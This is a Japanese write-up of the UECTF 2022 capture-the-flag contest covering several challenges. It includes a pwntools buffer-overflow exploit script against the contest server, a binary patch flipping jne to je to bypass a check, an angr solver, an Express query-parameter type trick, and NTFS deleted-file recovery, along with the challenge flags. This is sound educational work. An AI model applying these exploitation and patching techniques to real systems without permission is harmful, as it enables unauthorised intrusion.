UECTF2022 writeup
Table of Contents
はじめに
2022/11/18〜20にかけて開催されたUECTF 2022にチームtaskとして参加し、正の得点を得た105チーム中19位でした。
問題数が多くて満足度が高かったです。開催ありがとうございました!
実は、さいきん修論に向けて研究のまとめあげをする必要があったため、簡易writeupで済ませるつもりでした。
そんな中、Twitterでstさんから次のようなリプライをいただきました。
writeupでもっとも大事なのはどうやってその解法にたどり着いたかという過程だと思っていて、
ref: https://twitter.com/st98_/status/1594324150465662976?s=20&t=XsyZiPceDMUyyl1iFWDzyg
全くもってその通りだと思いましたし、Twitterのタイムラインを追ってる時間があったらwriteupを書けそうなので書くことにしました。
ただし、writeupを書くのは、昔の自分なら思考の過程の補足が欲しいなと思った問題(PWN, REV, WEB, FORENSINCSの一部)のみです。ご容赦ください。
PWN
buffer_overflow
バッファオーバーフローを知っていますか? Do you know buffer overflow? コンパイルオプションは-fno-stack-protectorをつけています。
gcc ./bof_source.c -fno-stack-protector
nc uectf.uec.tokyo 30002
#include<stdio.h>
#include<string.h>
int debug();
int main(){
char debug_flag,name[15];
debug_flag='0';
printf("What is your name?\n>");
scanf("%s",name);
if(debug_flag=='1'){
debug();
}
printf("Hello %s.\n",name);
return 0;
}
int debug(){
char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
printf("[DEBUG]:flag is %s\n",flag);
}
配布ファイルを見ると、変数 debug_flag
が '1'
になっていればFLAGが表示されることが分かります。この変数は scanf
で書き込める name
の直前で宣言されているため、問題名の通りbuffer overflowで上書きできることが分かります。従って、nameの15バイトを埋めて、変数 debug_flag
を 1
(\x31
) にします。
from pwn import *
def main():
io = remote('uectf.uec.tokyo', 30002)
payload = b"A" * 15
payload += b'\x31'
# print(payload)
b = io.sendline(payload)
io.recvline()
print(io.recvline())
if __name__ == '__main__':
main()
REV
A file
誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?
Someone erased a file extension. What contents is the file?
ファイルの拡張子を消してしまったそうなので、$ file
コマンドで拡張子を確認します。XZ
なので7-Zipで解凍します。すると、64-bitのELFファイルが出てくるので、strings
コマンドとgrep
コマンドでFlagを露出させます。
$ file chall
chall: XZ compressed data
$ 7z x chall
$ file chall~
chall~: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped
$ % strings chall~ | grep UE
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
revPython
What does this pyc file do?
これは?
pyc
形式なので、 pycdc を用いて .py
にします。すると、何らかのkeyとのxorを取っていることが分かります。
$ ./pycdc -o a.py ~/work/ctf/ue/revpy/a.cpython-39.pyc
$ cat a.py
# Source Generated with Decompyle++
# File: a.cpython-39.pyc (Python 3.9)
from hashlib import sha256
prefix = 'UECTF{'
user_key = input('flag: ')
def H(localvalue = None):
return sha256(localvalue.encode('utf-8')).hexdigest()
def xor_image(data = None, key = None):
if type(key) != 'bytes':
key = bytes(key, 'latin1')
return None((lambda .0 = None: for i, d in .0:
d ^ key[i % len(prefix)])(enumerate(data)))
def run():
pass
# WARNING: Decompyle incomplete
if __name__ == '__main__':
run()
また、同時に配布されていたファイル名が flag.jpg
なのを思い出します。復元されたら jpeg
になると予想し、先頭の4バイトが FF D8 FF E0
になるようにxorの値を試してみます。
$ hexdump -C flag.jpg | head -1
00000000 aa 9d bc 8f 46 38 55 46 41 56 45 79 57 46 40 57 |....F8UFAVEyWF@W|
$ python3
>>> given = [0xaa, 0x9d, 0xbc, 0x8f]
>>> jpeg = [0xff, 0xd8, 0xff, 0xe0]
>>> [chr(given[idx] ^ jpeg[idx]) for idx in range(4)]
['U', 'E', 'C', 'o']
最初の3文字が UEC
になったため、keyが UECTF{
であると想定して、全体にxorをしてみます。
def main():
flag = None
with open('flag.jpg', 'rb') as f:
flag = f.read()
print(flag[:6])
key = 'UECTF{'
ans = b''
for i, d in enumerate(flag):
# print(hex(d))
dd = d ^ ord(key[i % 6])
ans += dd.to_bytes(1, 'little')
with open('out.jpg', 'wb') as f:
f.write(ans)
if __name__ == '__main__':
main()
このソルバで画像が復元でき、画像を見るとFLAGが書かれています。
captainhook
haha, good luck solving this
運も実力のうち!
Radare2で静的解析してみます。“success"と表示された後に、fcn.00001330
を呼んでいますが、その関数の中身は難読化されているため、直接呼び出す方が良さそうです。
$ r2 captainhook
[0x00001240]> aaaa
[0x00001240]> s main
[0x000011a0]> pdf
;-- section..text:
; DATA XREF from entry0 @ 0x1261(r)
┌ 120: int main (int argc, char **argv, char **envp);
│ 0x000011a0 f30f1efa endbr64 ; [16] -r-x section size 981 named .text
│ 0x000011a4 4154 push r12
│ 0x000011a6 e8f5020000 call fcn.000014a0
│ 0x000011ab 31ff xor edi, edi ; time_t *timer
│ 0x000011ad e86effffff call sym.imp.time ; time_t time(time_t *timer)
│ 0x000011b2 4889c7 mov rdi, rax ; int seed
│ 0x000011b5 e876ffffff call sym.imp.srand ; void srand(int seed)
│ 0x000011ba e831ffffff call sym.imp.rand ; int rand(void)
│ 0x000011bf 4189c4 mov r12d, eax
│ 0x000011c2 e829ffffff call sym.imp.rand ; int rand(void)
│ 0x000011c7 83c003 add eax, 3
│ 0x000011ca 410fafc4 imul eax, r12d
│ 0x000011ce 85c0 test eax, eax
│ ┌─< 0x000011d0 7534 jne 0x1206
│ │ 0x000011d2 e819ffffff call sym.imp.rand ; int rand(void)
│ │ 0x000011d7 4189c4 mov r12d, eax
│ │ 0x000011da e811ffffff call sym.imp.rand ; int rand(void)
│ │ 0x000011df 4183c401 add r12d, 1
│ │ 0x000011e3 83c003 add eax, 3
│ │ 0x000011e6 440fafe0 imul r12d, eax
│ │ 0x000011ea 4585e4 test r12d, r12d
│ ┌──< 0x000011ed 7517 jne 0x1206
│ ││ 0x000011ef 488d3d2a0e00. lea rdi, str.success ; 0x2020 ; "success" ; const char *s
│ ││ 0x000011f6 e865ffffff call sym.imp.puts ; int puts(const char *s)
│ ││ 0x000011fb e830010000 call fcn.00001330
│ ││ ; CODE XREF from main @ 0x1216(x)
│ ┌───> 0x00001200 4489e0 mov eax, r12d
│ ╎││ 0x00001203 415c pop r12
│ ╎││ 0x00001205 c3 ret
│ ╎││ ; CODE XREFS from main @ 0x11d0(x), 0x11ed(x)
│ ╎└└─> 0x00001206 488d3d1b0e00. lea rdi, str.failure ; 0x2028 ; "failure" ; const char *s
│ ╎ 0x0000120d 4183ccff or r12d, 0xffffffff ; -1
│ ╎ 0x00001211 e84affffff call sym.imp.puts ; int puts(const char *s)
└ └───< 0x00001216 ebe8 jmp 0x1200
[0x000014a0]> s fcn.00001330
[0x00001330]> pdf
╎ ; CALL XREF from main @ 0x11fb(x)
┌ 356: fcn.00001330 ();
│ ╎ ; var int64_t var_10h @ rsp+0x10
│ ╎ ; var int64_t var_20h @ rsp+0x20
│ ╎ ; var int64_t var_24h @ rsp+0x24
│ ╎ ; var int64_t var_28h @ rsp+0x28
│ ╎ 0x00001330 f30f1efa endbr64
│ ╎ 0x00001334 53 push rbx
│ ╎ 0x00001335 4883ec30 sub rsp, 0x30
│ ╎ 0x00001339 64488b042528. mov rax, qword fs:[0x28]
│ ╎ 0x00001342 4889442428 mov qword [var_28h], rax
│ ╎ 0x00001347 31c0 xor eax, eax
│ ╎ 0x00001349 0fb605e02c00. movzx eax, byte [0x00004030] ; [0x4030:1]=0
│ ╎ 0x00001350 84c0 test al, al
│ ┌──< 0x00001352 742c je 0x1380
│ │╎ ; CODE XREFS from fcn.00001330 @ 0x138e(x), 0x1491(x)
│ ┌┌───> 0x00001354 488b442428 mov rax, qword [var_28h]
│ ╎╎│╎ 0x00001359 644833042528. xor rax, qword fs:[0x28]
│ ┌─────< 0x00001362 0f852e010000 jne 0x1496
│ │╎╎│╎ 0x00001368 488b3dc92c00. mov rdi, qword [0x00004038] ; [0x4038:8]=0
│ │╎╎│╎ 0x0000136f 4883c430 add rsp, 0x30
│ │╎╎│╎ 0x00001373 5b pop rbx
│ │╎╎│└─< 0x00001374 e9e7fdffff jmp sym.imp.puts
..
│ │╎╎│ ; CODE XREF from fcn.00001330 @ 0x1352(x)
│ │╎╎└──> 0x00001380 488d3da92c00. lea rdi, [0x00004030]
│ │╎╎ 0x00001387 e8f4fdffff call sym.imp.__cxa_guard_acquire
│ │╎╎ 0x0000138c 85c0 test eax, eax
│ │└────< 0x0000138e 74c4 je 0x1354
│ │ ╎ 0x00001390 660f6f05980c. movdqa xmm0, xmmword [0x00002030]
│ │ ╎ 0x00001398 c644242445 mov byte [var_24h], 0x45 ; 'E'
│ │ ╎ ; [0x45:1]=0
│ │ ╎ 0x0000139d c744242064a0. mov dword [var_20h], 0x5876a064 ; [0x5876a064:4]=-1
│ │ ╎ 0x000013a5 64488b1c2500. mov rbx, qword fs:[0]
│ │ ╎ 0x000013ae 0f290424 movaps xmmword [rsp], xmm0
│ │ ╎ 0x000013b2 660f6f05860c. movdqa xmm0, xmmword [0x00002040]
│ │ ╎ 0x000013ba 0f29442410 movaps xmmword [var_10h], xmm0
│ │ ╎ 0x000013bf 64803c25d0ff. cmp byte fs:[0xffffffffffffffd0], 0
│ │ ╎ ┌─< 0x000013c8 755e jne 0x1428
│ │ ╎ │ 0x000013ca 64c60425fdff. mov byte fs:[0xfffffffffffffffd], 1
│ │ ╎ │ 0x000013d3 660f6f0c24 movdqa xmm1, xmmword [rsp]
│ │ ╎ │ 0x000013d8 488db3d8ffff. lea rsi, [rbx - 0x28]
│ │ ╎ │ 0x000013df 488d15222c00. lea rdx, [0x00004008]
│ │ ╎ │ 0x000013e6 488d3d030100. lea rdi, [fcn.000014f0] ; 0x14f0
│ │ ╎ │ 0x000013ed 640f110c25d8. movups xmmword fs:[0xffffffffffffffd8], xmm1
│ │ ╎ │ 0x000013f6 660f6f542410 movdqa xmm2, xmmword [var_10h]
│ │ ╎ │ 0x000013fc 64c70425f8ff. mov dword fs:[0xfffffffffffffff8], 0x5876a064 ; [0x5876a064:4]=-1
│ │ ╎ │ 0x00001408 64c60425fcff. mov byte fs:[0xfffffffffffffffc], 0x45 ; 'E'
│ │ ╎ │ ; [0x45:1]=0
│ │ ╎ │ 0x00001411 64c60425d0ff. mov byte fs:[0xffffffffffffffd0], 1
│ │ ╎ │ 0x0000141a 640f111425e8. movups xmmword fs:[0xffffffffffffffe8], xmm2
│ │ ╎ │ 0x00001423 e848fdffff call sym.imp.__cxa_thread_atexit
│ │ ╎ │ ; CODE XREF from fcn.00001330 @ 0x13c8(x)
│ │ ╎ └─> 0x00001428 64803c25fdff. cmp byte fs:[0xfffffffffffffffd], 0
│ │ ╎ ┌─< 0x00001431 7444 je 0x1477
│ │ ╎ │ 0x00001433 31c0 xor eax, eax
│ │ ╎ │ 0x00001435 488d93d8ffff. lea rdx, [rbx - 0x28]
│ │ ╎ │ 0x0000143c 48be0dd34925. movabs rsi, 0x656173452549d30d
│ │ ╎ │ 0x00001446 662e0f1f8400. nop word cs:[rax + rax]
│ │ ╎ │ ; CODE XREF from fcn.00001330 @ 0x146c(x)
│ │ ╎┌──> 0x00001450 4889c1 mov rcx, rax
│ │ ╎╎│ 0x00001453 4889f7 mov rdi, rsi
│ │ ╎╎│ 0x00001456 83e107 and ecx, 7
│ │ ╎╎│ 0x00001459 48c1e103 shl rcx, 3
│ │ ╎╎│ 0x0000145d 48d3ef shr rdi, cl
│ │ ╎╎│ 0x00001460 40303c10 xor byte [rax + rdx], dil
│ │ ╎╎│ 0x00001464 4883c001 add rax, 1
│ │ ╎╎│ 0x00001468 4883f825 cmp rax, 0x25
│ │ ╎└──< 0x0000146c 75e2 jne 0x1450
│ │ ╎ │ 0x0000146e 64c60425fdff. mov byte fs:[0xfffffffffffffffd], 0
│ │ ╎ │ ; CODE XREF from fcn.00001330 @ 0x1431(x)
│ │ ╎ └─> 0x00001477 4881c3d8ffff. add rbx, 0xffffffffffffffd8
│ │ ╎ 0x0000147e 488d3dab2b00. lea rdi, [0x00004030]
│ │ ╎ 0x00001485 48891dac2b00. mov qword [0x00004038], rbx ; [0x4038:8]=0
│ │ ╎ 0x0000148c e86ffcffff call sym.imp.__cxa_guard_release
│ │ └───< 0x00001491 e9befeffff jmp 0x1354
│ │ ; CODE XREF from fcn.00001330 @ 0x1362(x)
└ └─────> 0x00001496 e8a5fcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
逆アセンブル結果を見ると、0x000011d0
及び 0x000011ed
の jne
命令を逆の意味である je
命令に置き換えてやれば良さそうです。je
命令は機械語で 0x74
なので、2つの部分をそれぞれ 0x74
に書き換えます。
$ hexedit captainhook
(snip)
000011BC FF FF FF 41 89 C4 E8 29 FF FF FF 83 C0 03 41 0F AF C4 85 C0 ...A...)......A.....
000011D0 74 34 E8 19 FF FF FF 41 89 C4 E8 11 FF FF FF 41 83 C4 01 83 t4.....A.......A....
000011E4 C0 03 44 0F AF E0 45 85 E4 74 17 48 8D 3D 2A 0E 00 00 E8 65 ..D...E..t.H.=*....e
000011F8 FF FF FF E8 30 01 00 00 44 89 E0 41 5C C3 48 8D 3D 1B 0E 00 ....0...D..A\.H.=...
0000120C 00 41 83 CC FF E8 4A FF FF FF EB E8 0F 1F 84 00 00 00 00 00 .A....J.............
00001220 F3 0F 1E FA 0F AE 5C 24 FC 81 4C 24 FC 40 80 00 00 0F AE 54 ......\$[email protected]
00001234 24 FC C3 66 0F 1F 84 00 00 00 00 00 F3 0F 1E FA 31 ED 49 89 $..f............1.I.
00001248 D1 5E 48 89 E2 48 83 E4 F0 50 54 4C 8D 05 16 03 00 00 48 8D .^H..H...PTL......H.
0000125C 0D 9F 02 00 00 48 8D 3D 38 FF FF FF FF 15 7A 2D 00 00 F4 90 .....H.=8.....z-....
00001270 48 8D 3D 99 2D 00 00 48 8D 05 92 2D 00 00 48 39 F8 74 15 48 H.=.-..H...-..H9.t.H
00001284 8B 05 56 2D 00 00 48 85 C0 74 09 FF E0 0F 1F 80 00 00 00 00 ..V-..H..t..........
00001298 C3 0F 1F 80 00 00 00 00 48 8D 3D 69 2D 00 00 48 8D 35 62 2D ........H.=i-..H.5b-
000012AC 00 00 48 29 FE 48 89 F0 48 C1 EE 3F 48 C1 F8 03 48 01 C6 48 ..H).H..H..?H...H..H
000012C0 D1 FE 74 14 48 8B 05 2D 2D 00 00 48 85 C0 74 08 FF E0 66 0F ..t.H..--..H..t...f.
000012D4 1F 44 00 00 C3 0F 1F 80 00 00 00 00 F3 0F 1E FA 80 3D 3D 2D .D...............==-
000012E8 00 00 00 75 2B 55 48 83 3D E2 2C 00 00 00 48 89 E5 74 0C 48 ...u+UH.=.,...H..t.H
--- captainhook --0x11D0/0x38D0----------------------------------------------------------
これでFlagが取れました。
$ ./captainhook
success
UECTF{hmmmm_how_did_you_solve_this?}
discreate
Jumping around in memory
記憶の中でジャンプする
ひとまずRadare2で静的解析します。難読化されていてmainが非常に大きいので、一部抜粋します。
$ r2 chall
[0x00001100]> aaaa
[0x00001100]> s main
[0x000011e9]> pdf
Do you want to print 1202 lines? (y/N) y
(snip)
│ 0x00001fff 4889c7 mov rdi, rax ; const char *s
│ 0x00002002 e8b9f0ffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00002007 4883f822 cmp rax, 0x22
│ ┌─< 0x0000200b 741b je 0x2028
│ │ 0x0000200d 488d3dfa0f00. lea rdi, str.invalid_input_length ; 0x300e ; "invalid input length" ; const char *format
│ │ 0x00002014 b800000000 mov eax, 0
│ │ 0x00002019 e8c2f0ffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x0000201e b8ffffffff mov eax, 0xffffffff ; -1
│ ┌──< 0x00002023 e939010000 jmp 0x2161
│ ││ ; CODE XREF from main @ 0x200b(x)
│ │└─> 0x00002028 488d8590fdff. lea rax, [s]
│ │ 0x0000202f 4889c7 mov rdi, rax ; const char *s
│ │ 0x00002032 e889f0ffff call sym.imp.strlen ; size_t strlen(const char *s)
│ │ 0x00002037 48baabaaaaaa. movabs rdx, 0xaaaaaaaaaaaaaaab
│ │ 0x00002041 48f7e2 mul rdx
│ │ 0x00002044 4889d0 mov rax, rdx
│ │ 0x00002047 48d1e8 shr rax, 1
│ │ 0x0000204a ba01000000 mov edx, 1
│ │ 0x0000204f 89c1 mov ecx, eax
│ │ 0x00002051 d3e2 shl edx, cl
│ │ 0x00002053 89d0 mov eax, edx
│ │ 0x00002055 898558fdffff mov dword [var_2a8h], eax
│ │ 0x0000205b c7855cfdffff. mov dword [var_2a4h], 0
│ │┌─< 0x00002065 e9a9000000 jmp 0x2113
│ ││ ; CODE XREF from main @ 0x212e(x)
│ ┌───> 0x0000206a 8b855cfdffff mov eax, dword [var_2a4h]
│ ╎││ 0x00002070 4898 cdqe
│ ╎││ 0x00002072 488d9590fdff. lea rdx, [s]
│ ╎││ 0x00002079 488d0c02 lea rcx, [rdx + rax]
│ ╎││ 0x0000207d 8b855cfdffff mov eax, dword [var_2a4h]
│ ╎││ 0x00002083 4863d0 movsxd rdx, eax
│ ╎││ 0x00002086 4869d2565555. imul rdx, rdx, 0x55555556
│ ╎││ 0x0000208d 48c1ea20 shr rdx, 0x20
│ ╎││ 0x00002091 c1f81f sar eax, 0x1f
│ ╎││ 0x00002094 89d6 mov esi, edx
│ ╎││ 0x00002096 29c6 sub esi, eax
│ ╎││ 0x00002098 89f0 mov eax, esi
│ ╎││ 0x0000209a 4898 cdqe
│ ╎││ 0x0000209c 8b848560fdff. mov eax, dword [rbp + rax*4 - 0x2a0]
│ ╎││ 0x000020a3 4898 cdqe
│ ╎││ 0x000020a5 488d95d0fdff. lea rdx, [n]
│ ╎││ 0x000020ac 4801d0 add rax, rdx
│ ╎││ 0x000020af ba03000000 mov edx, 3 ; size_t n
│ ╎││ 0x000020b4 4889ce mov rsi, rcx ; const char *s2
│ ╎││ 0x000020b7 4889c7 mov rdi, rax ; const char *s1
│ ╎││ 0x000020ba e8e1efffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ ╎││ 0x000020bf 85c0 test eax, eax
│ ┌────< 0x000020c1 7443 je 0x2106
│ │╎││ 0x000020c3 8b8d5cfdffff mov ecx, dword [var_2a4h]
│ │╎││ 0x000020c9 4863c1 movsxd rax, ecx
│ │╎││ 0x000020cc 4869c0565555. imul rax, rax, 0x55555556
│ │╎││ 0x000020d3 48c1e820 shr rax, 0x20
│ │╎││ 0x000020d7 4889c2 mov rdx, rax
│ │╎││ 0x000020da 89c8 mov eax, ecx
│ │╎││ 0x000020dc c1f81f sar eax, 0x1f
│ │╎││ 0x000020df 89d3 mov ebx, edx
│ │╎││ 0x000020e1 29c3 sub ebx, eax
│ │╎││ 0x000020e3 89d8 mov eax, ebx
│ │╎││ 0x000020e5 89c2 mov edx, eax
│ │╎││ 0x000020e7 01d2 add edx, edx
│ │╎││ 0x000020e9 01c2 add edx, eax
│ │╎││ 0x000020eb 89c8 mov eax, ecx
│ │╎││ 0x000020ed 29d0 sub eax, edx
│ │╎││ 0x000020ef 85c0 test eax, eax
│ ┌─────< 0x000020f1 7513 jne 0x2106
│ ││╎││ 0x000020f3 488d3d290f00. lea rdi, str.Wrong_ ; 0x3023 ; "Wrong!" ; const char *s
│ ││╎││ 0x000020fa e8b1efffff call sym.imp.puts ; int puts(const char *s)
│ ││╎││ 0x000020ff b8ffffffff mov eax, 0xffffffff ; -1
│ ┌──────< 0x00002104 eb5b jmp 0x2161
│ │││╎││ ; CODE XREFS from main @ 0x20c1(x), 0x20f1(x)
│ │└└────> 0x00002106 d1bd58fdffff sar dword [var_2a8h], 1
│ │ ╎││ 0x0000210c 83855cfdffff. add dword [var_2a4h], 1
│ │ ╎││ ; CODE XREF from main @ 0x2065(x)
│ │ ╎│└─> 0x00002113 8b855cfdffff mov eax, dword [var_2a4h]
│ │ ╎│ 0x00002119 4863d8 movsxd rbx, eax
│ │ ╎│ 0x0000211c 488d8590fdff. lea rax, [s]
│ │ ╎│ 0x00002123 4889c7 mov rdi, rax ; const char *s
│ │ ╎│ 0x00002126 e895efffff call sym.imp.strlen ; size_t strlen(const char *s)
│ │ ╎│ 0x0000212b 4839c3 cmp rbx, rax
│ │ └───< 0x0000212e 0f8236ffffff jb 0x206a
│ │ │ 0x00002134 83bd58fdffff. cmp dword [var_2a8h], 0
│ │ │┌─< 0x0000213b 7513 jne 0x2150
│ │ ││ 0x0000213d 488d3de60e00. lea rdi, str.Correct_ ; 0x302a ; "Correct!" ; const char *s
│ │ ││ 0x00002144 e867efffff call sym.imp.puts ; int puts(const char *s)
│ │ ││ 0x00002149 b800000000 mov eax, 0
│ │ ┌───< 0x0000214e eb11 jmp 0x2161
│ │ │││ ; CODE XREF from main @ 0x213b(x)
│ │ ││└─> 0x00002150 488d3dcc0e00. lea rdi, str.Wrong_ ; 0x3023 ; "Wrong!" ; const char *s
│ │ ││ 0x00002157 e854efffff call sym.imp.puts ; int puts(const char *s)
│ │ ││ 0x0000215c b8ffffffff mov eax, 0xffffffff ; -1
│ │ ││ ; CODE XREFS from main @ 0x2023(x), 0x2104(x), 0x214e(x)
│ └──└└──> 0x00002161 488b75e8 mov rsi, qword [canary]
│ 0x00002165 644833342528. xor rsi, qword fs:[0x28]
│ ┌─< 0x0000216e 7405 je 0x2175
│ │ 0x00002170 e85befffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from main @ 0x216e(x)
│ └─> 0x00002175 4881c4a80200. add rsp, 0x2a8
│ 0x0000217c 5b pop rbx
│ 0x0000217d 5d pop rbp
└ 0x0000217e c3 ret
どうやら、正しい入力の時に Correct!
、誤った入力の時に Wrong!
と表示されるようです。このように、入力を探索するのはangrによるシンボリック実行が効果的です。
import angr
p = angr.Project("./chall", load_options={'auto_load_libs': False})
simgr = p.factory.simgr()
ss = simgr.explore(find=lambda s:b"Correct!" in s.posix.dumps(1))
print(ss.found[0].posix.dumps(0))
実行するとFlagが取れます。
$ python3 solve.py
WARNING | 2022-11-20 23:36:34,316 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401109 (PLT.__isoc99_scanf+0x19 in chall (0x1109))
WARNING | 2022-11-20 23:36:34,994 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefd2d with 3 unconstrained bytes referenced from 0x500018 (strlen+0x0 in extern-address space (0x18))
WARNING | 2022-11-20 23:36:43,582 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x500008 (strncmp+0x0 in extern-address space (0x8))
b'UECTF{dynamic_static_strings_2022}\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01@\x01\x04\x01\x01'
WEB
webapi
サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?
I created a web page that fetches flags from the server and displays them, but why doesn’t it work?
対象ページにアクセスしてソースコードを見ると、ページのfetchに失敗して server error
になっていることが分かります。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Hello world!</h1>
<div class="flag">
<span class="flag-label">Flag is here:</span>
<span class="flag-data"></span>
</div>
</body>
<script>
const FLAG_URL = 'https://(snip).ap-northeast-1.on.aws/';
fetch(FLAG_URL)
.then(data => {
document.getElementsByClassName('flag-data')[0].innerText = data;
})
.catch(err => {
document.getElementsByClassName('flag-data')[0].innerText = 'server error';
})
</script>
</html>
FLAG_URLに直接アクセスすると、FLAGが得られます。
request-validation
GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。
Can you request a object?
First, please check the flag acquisition in your environment.
配布ファイルを見ると、expressのquery parameterの型を object
にすれば良いそうです。
require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`Example app listening on port ${PORT}`)
})
const FLAG = process.env.FLAG || 'flag{dummy_flag}'
app.get('/', (req, res) => {
console.log(req.query.q)
console.log(typeof req.query.q)
if (req.query.q && typeof req.query.q === 'object') {
res.send(FLAG)
} else {
res.send('invalid request')
}
})
query parameterといえば、先日開催されたSECCON ONLINE CTF QualsのSkipinxが思い浮かびます。その時ガチャガチャしていた時に、ListやMapを送れることを思い出しました。
従って、Query ParameterにListとして認識させてみます。
ちなみに、MapでもObjectなのでOKでした。
FORENSICS
Deleted
USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…
I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file…
対象ファイルを見ると、DOS/MBR boot sector
、NTFS
からWindows系のイメージらしきことが分かります。
$ file image.raw
image.raw: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 16383, $MFT start cluster 682, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 06e8081f48081c357; contains bootstrap BOOTMGR
中身を見るためにググってみると、以下のwriteup記事がヒットします。
内容を読むと、 DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS "(略)
という似たような文面が見つかるため、その後の作業を真似しながら進めます。
$ fls image.raw
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-4: $Bitmap
r/r 7-128-1: $Boot
d/d 11-144-4: $Extend
r/r 2-128-1: $LogFile
r/r 0-128-6: $MFT
r/r 1-128-1: $MFTMirr
r/r 9-128-8: $Secure:$SDS
r/r 9-144-11: $Secure:$SDH
r/r 9-144-5: $Secure:$SII
r/r 10-128-1: $UpCase
r/r 10-128-4: $UpCase:$Info
r/r 3-128-3: $Volume
r/r 41-128-1: mv_ARIMjapan_pc.jpg
r/r 41-128-3: mv_ARIMjapan_pc.jpg:Zone.Identifier
r/r 44-128-1: mv_choufusai2022_pc.png
r/r 44-128-3: mv_choufusai2022_pc.png:Zone.Identifier
r/r 48-128-1: mv_corona_pc.jpg
r/r 48-128-3: mv_corona_pc.jpg:Zone.Identifier
r/r 46-128-1: mv_oc2022-2-1_pc.tif
r/r 46-128-3: mv_oc2022-2-1_pc.tif:Zone.Identifier
d/d 34-144-1: System Volume Information
r/r 36-128-1: uec.png
r/r 36-128-3: uec.png:Zone.Identifier
r/r 45-128-1: uec_ukraine_pc.jpg
r/r 45-128-3: uec_ukraine_pc.jpg:Zone.Identifier
-/r * 37-128-1: test1.txt
-/r * 39-128-1: flag.png
-/r * 40-128-1: uec.bmp
-/r * 42-128-1: mv_ARIMjapan_pc.png
-/r * 42-128-3: mv_ARIMjapan_pc.png:Zone.Identifier
-/r * 43-128-1: mv_choufusai2022_pc.jpg
-/r * 43-128-3: mv_choufusai2022_pc.jpg:Zone.Identifier
-/r * 47-128-1: mv_oc2022-2-1_pc.jpg
-/r * 47-128-3: mv_oc2022-2-1_pc.jpg:Zone.Identifier
-/r * 49-128-1: uec.gif
-/r * 49-128-3: uec.gif:Zone.Identifier
-/r * 50-128-1: uec.jpg
-/r * 50-128-3: uec.jpg:Zone.Identifier
-/r * 51-128-1: uec.tif
-/r * 51-128-3: uec.tif:Zone.Identifier
V/V 256: $OrphanFiles
$ icat image.raw 39-128-1 > flag.png
flag.pngを開くと、以下の通りFlagが書かれています。
おわりに
手抜きwriteupで済ませようとしてしまい、恥ずかしい限りです。
ひとまず、知っていれば解けるような “やるだけ” 問題以外で、私が解けた問題のwriteupを書いたつもりです。
どなたかの参考になれば幸いです。